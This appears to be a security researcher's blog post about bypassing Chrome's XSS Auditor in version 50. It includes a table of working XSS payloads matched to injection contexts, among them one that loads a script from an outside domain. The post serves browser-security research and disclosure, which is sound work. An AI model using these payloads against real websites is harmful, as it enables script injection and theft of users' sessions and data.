If you ever tried to XSS something using the Google Chrome browser you have noticed that it usually doesn’t work. This is due to a native filter named XSS Auditor.
Over the years, this built-in feature has evolved and get stronger with several bypasses found by the infosec (information security) community. But it has some limitations, the ones we will explore in this post.
It’s important to note that all things here are meant to work in the latest browser version until date (50) and these may not work in future versions.
When injecting in some attribute of a tag (inline), if it’s possible to break out of it and inject another one, the following payload will run perfectly in Chrome:
As long as there’s a closing script tag after it in the native code as we can see here.
Off Tag Injection
Like in the injection inside a tag, it’s also possible to XSS when input echoes out of it. We will use a classic example of a reflection in a message returned after a search query. But there are some requirements and cases to watch for:
– A script block after injection: needed to close the actual payload;
– A double quote somewhere inside a tag after injection: needed to some variants.
For example, both requirements can be satisfied if there’s (but not limited to) any of the following in source code:
Payload execution depends on which character comes right after injection, so here is a table with what is needed. The search TERM is where the injection reflects.
|Char right after||Example(s)||Payload(s)|
EOL (end of line)
|Search for TERM returned 0 results.
Results for TERM
|Double quote||Search for “TERM” returned 0 results.||<script src=data:%26comma;alert(1)//|
|Single quote||Search for ‘TERM’ returned 0 results.||<script src=data:%26comma;alert(1)//
|Dot, comma, colon,
|Results for TERM:||<script src=data:%26comma;alert(1)%26sol;%26sol;
|Less than||<span>Results for TERM</span>||<script src=//domain%26sol;my.js%26num;
|Greater than, question
mark or slash
|Are you looking for TERM?||NO BYPASS
"><script src=data:%26comma;alert(1)// can also be used for inline injection.
As we can see it covers most of the possible scenarios out there although being easy to get filtered by an application filter or WAF due to the script tag.
A live test page is available here. URL parameters q0 up to q6 are the respective inputs for each type and case of bypass explained above (check source code).
A big “thank you!” to @asdizzle_ for his precious contribution to this work.
P.S. Another interesting trick (restricted to some pages) to bypass Chrome’s Auditor is available in my private twitter account @brutalsecrets: exclusive results of my XSS research including a simple yet effective tool to find XSS in the wild can also be found there.
P.S.2 When going to verison 50 (after draft of this post was ready to go) Chrome seemed to have these bypasses fixed, but (thanks again to @asdizzle_) a simple encoding of comma did the trick again.